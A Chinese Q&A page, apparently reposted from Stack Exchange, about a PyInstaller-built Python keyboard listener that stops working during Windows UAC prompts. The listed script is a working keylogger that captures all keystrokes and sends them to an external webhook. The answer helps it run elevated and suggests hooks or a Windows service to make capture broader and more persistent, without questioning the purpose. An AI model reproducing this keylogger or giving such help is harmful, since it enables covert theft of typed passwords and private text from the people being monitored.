You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows UAC弹窗导致Python编译的EXE程序停止键盘监听的问题求助

Windows UAC弹窗导致Python编译的EXE程序停止键盘监听的问题求助

我懂你遇到的这个糟心问题——每次Windows弹出UAC管理员授权窗口时,你的键盘监听EXE就直接停摆了,没法继续捕获按键,最后连Webhook都收不到数据对吧?

这其实是Windows的权限隔离机制在搞事情:UAC窗口运行在高权限的安全会话里,而你的程序默认是普通权限启动的,普通权限进程根本没法监听高权限窗口的输入事件,甚至会被系统暂时中断监听逻辑,等UAC窗口消失后也没法自动恢复。

给你两个实用的解决思路:

  • 让程序默认以管理员身份运行
    这是最直接的办法。如果你用PyInstaller编译EXE,只要在编译命令里加上--uac-admin参数就行:

    pyinstaller --onefile --uac-admin your_script_name.py
    

    这样程序启动时会先触发UAC请求,拿到管理员权限后,就能和UAC窗口处于同一权限级别,自然不会被打断监听了。

  • 调整监听方案(进阶)
    你当前用的keyboard库在普通权限下确实绕不开UAC的限制。如果不想每次启动都要授权,可以试试更底层的键盘钩子实现,但这类方案大多还是需要系统级权限;或者考虑把监听逻辑做成Windows系统服务,不过实现起来会复杂不少。

附上你的脚本代码:

import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
        trf = True
while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
        a.append(event.name)
    if event.name == "f3":
        break
txt = ""
for i in a:
    if   i == "space"               :txt += " "
    elif i == "f3"                  :continue
    elif i == "shift"               :continue
    elif i == "ctrl"                :continue
    elif i == "backspace"           :txt = txt[:-1]
    elif i == "up" or i == "down"   :continue
    elif i == "left" or i == "right":continue
    elif i == "enter"               :txt += " <enter> \n"
    else                            :txt += i
hook.send(a)
hook.send(txt)

备注:内容来源于stack exchange,提问作者ispanezos apothnispania

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.14 09:14:32